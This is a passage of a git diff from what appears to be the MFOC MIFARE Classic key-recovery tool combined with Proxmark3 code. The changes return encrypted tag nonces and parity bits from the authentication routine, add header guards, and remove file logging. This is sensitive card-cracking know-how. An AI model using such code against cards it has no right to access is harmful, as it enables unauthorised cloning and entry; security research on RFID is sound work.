AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
|
||||||
}
|
}
|
||||||
if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof (Rx), RxPar) < 0) {
|
if ((( res = nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof (Rx), RxPar)) < 0) || (res != 32)){
|
||||||
ERR("while requesting encrypted tag-nonce");
|
ERR("while requesting encrypted tag-nonce");
|
||||||
exit(EXIT_FAILURE);
|
exit(EXIT_FAILURE);
|
||||||
}
|
}
|
||||||
@ -1204,7 +1230,8 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
|||||||
pbits <<= 1;
|
pbits <<= 1;
|
||||||
pbits |= p;
|
pbits |= p;
|
||||||
}
|
}
|
||||||
// num_acquired_nonces += add_nonce(NtEnc, pbits);
|
*NtEncBytes = NtEnc;
|
||||||
|
*parBits = pbits;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
14
src/mfoc.h
14
src/mfoc.h
@ -1,3 +1,8 @@
|
|||||||
|
#ifndef MFOC_H__
|
||||||
|
#define MFOC_H__
|
||||||
|
|
||||||
|
#include <nfc/nfc-types.h>
|
||||||
|
|
||||||
#define MEM_CHUNK 10000
|
#define MEM_CHUNK 10000
|
||||||
#define TRY_KEYS 50
|
#define TRY_KEYS 50
|
||||||
|
|
||||||
@ -82,6 +87,10 @@ typedef struct {
|
|||||||
} countKeys;
|
} countKeys;
|
||||||
|
|
||||||
|
|
||||||
|
mftag t;
|
||||||
|
mfreader r;
|
||||||
|
|
||||||
|
|
||||||
void usage(FILE *stream, int errno);
|
void usage(FILE *stream, int errno);
|
||||||
void mf_init(mfreader *r);
|
void mf_init(mfreader *r);
|
||||||
void mf_configure(nfc_device *pdi);
|
void mf_configure(nfc_device *pdi);
|
||||||
@ -90,7 +99,7 @@ int trailer_block(uint32_t block);
|
|||||||
int find_exploit_sector(mftag t);
|
int find_exploit_sector(mftag t);
|
||||||
void mf_anticollision(mftag t, mfreader r);
|
void mf_anticollision(mftag t, mfreader r);
|
||||||
bool get_rats_is_2k(mftag t, mfreader r);
|
bool get_rats_is_2k(mftag t, mfreader r);
|
||||||
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA);
|
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits);
|
||||||
uint32_t median(denonce d);
|
uint32_t median(denonce d);
|
||||||
int compar_int(const void *a, const void *b);
|
int compar_int(const void *a, const void *b);
|
||||||
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity);
|
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity);
|
||||||
@ -98,3 +107,6 @@ int compar_special_int(const void *a, const void *b);
|
|||||||
countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size);
|
countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size);
|
||||||
void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest);
|
void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest);
|
||||||
long long unsigned int bytes_to_num(uint8_t *src, uint32_t len);
|
long long unsigned int bytes_to_num(uint8_t *src, uint32_t len);
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
50
src/ui.c
50
src/ui.c
@ -27,45 +27,15 @@ int GridOffset = 0;
|
|||||||
bool GridLocked = false;
|
bool GridLocked = false;
|
||||||
bool showDemod = true;
|
bool showDemod = true;
|
||||||
|
|
||||||
static char *logfilename = "proxmark3.log";
|
|
||||||
|
|
||||||
#ifndef EXTERNAL_PRINTANDLOG
|
#ifndef EXTERNAL_PRINTANDLOG
|
||||||
static pthread_mutex_t print_lock = PTHREAD_MUTEX_INITIALIZER;
|
static pthread_mutex_t print_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||||
|
|
||||||
void PrintAndLog(char *fmt, ...) {
|
void PrintAndLog(char *fmt, ...) {
|
||||||
char *saved_line;
|
|
||||||
int saved_point;
|
|
||||||
va_list argptr, argptr2;
|
va_list argptr, argptr2;
|
||||||
static FILE *logfile = NULL;
|
|
||||||
static int logging = 1;
|
|
||||||
|
|
||||||
// lock this section to avoid interlacing prints from different threads
|
// lock this section to avoid interlacing prints from different threads
|
||||||
pthread_mutex_lock(&print_lock);
|
pthread_mutex_lock(&print_lock);
|
||||||
|
|
||||||
if (logging && !logfile) {
|
|
||||||
logfile = fopen(logfilename, "a");
|
|
||||||
if (!logfile) {
|
|
||||||
fprintf(stderr, "Can't open logfile, logging disabled!\n");
|
|
||||||
logging = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// If there is an incoming message from the hardware (eg: lf hid read) in
|
|
||||||
// the background (while the prompt is displayed and accepting user input),
|
|
||||||
// stash the prompt and bring it back later.
|
|
||||||
#ifdef RL_STATE_READCMD
|
|
||||||
// We are using GNU readline. libedit (OSX) doesn't support this flag.
|
|
||||||
int need_hack = (rl_readline_state & RL_STATE_READCMD) > 0;
|
|
||||||
|
|
||||||
if (need_hack) {
|
|
||||||
saved_point = rl_point;
|
|
||||||
saved_line = rl_copy_text(0, rl_end);
|
|
||||||
rl_save_prompt();
|
|
||||||
rl_replace_line("", 0);
|
|
||||||
rl_redisplay();
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
va_start(argptr, fmt);
|
va_start(argptr, fmt);
|
||||||
va_copy(argptr2, argptr);
|
va_copy(argptr2, argptr);
|
||||||
vprintf(fmt, argptr);
|
vprintf(fmt, argptr);
|
||||||
@ -73,22 +43,6 @@ void PrintAndLog(char *fmt, ...) {
|
|||||||
va_end(argptr);
|
va_end(argptr);
|
||||||
printf("\n");
|
printf("\n");
|
||||||
|
|
||||||
#ifdef RL_STATE_READCMD
|
|
||||||
// We are using GNU readline. libedit (OSX) doesn't support this flag.
|
|
||||||
if (need_hack) {
|
|
||||||
rl_restore_prompt();
|
|
||||||
rl_replace_line(saved_line, 0);
|
|
||||||
rl_point = saved_point;
|
|
||||||
rl_redisplay();
|
|
||||||
free(saved_line);
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
if (logging && logfile) {
|
|
||||||
vfprintf(logfile, fmt, argptr2);
|
|
||||||
fprintf(logfile, "\n");
|
|
||||||
fflush(logfile);
|
|
||||||
}
|
|
||||||
va_end(argptr2);
|
va_end(argptr2);
|
||||||
|
|
||||||
if (flushAfterWrite) //buzzy
|
if (flushAfterWrite) //buzzy
|
||||||
@ -100,10 +54,6 @@ void PrintAndLog(char *fmt, ...) {
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
void SetLogFilename(char *fn) {
|
|
||||||
logfilename = fn;
|
|
||||||
}
|
|
||||||
|
|
||||||
void SetFlushAfterWrite(bool flush_after_write) {
|
void SetFlushAfterWrite(bool flush_after_write) {
|
||||||
flushAfterWrite = flush_after_write;
|
flushAfterWrite = flush_after_write;
|
||||||
}
|
}
|
||||||
|
|||||||
@ -53,8 +53,6 @@ extern char *sprint_bin(const uint8_t * data, const size_t len);
|
|||||||
extern char *sprint_bin_break(const uint8_t *data, const size_t len, const uint8_t breaks);
|
extern char *sprint_bin_break(const uint8_t *data, const size_t len, const uint8_t breaks);
|
||||||
extern char *sprint_ascii_ex(const uint8_t *data, const size_t len, const size_t min_str_len);
|
extern char *sprint_ascii_ex(const uint8_t *data, const size_t len, const size_t min_str_len);
|
||||||
|
|
||||||
extern void num_to_bytes(uint64_t n, size_t len, uint8_t* dest);
|
|
||||||
extern uint64_t bytes_to_num(uint8_t* src, size_t len);
|
|
||||||
extern void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest);
|
extern void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest);
|
||||||
extern void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest);
|
extern void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest);
|
||||||
extern char *printBits(size_t const size, void const * const ptr);
|
extern char *printBits(size_t const size, void const * const ptr);
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user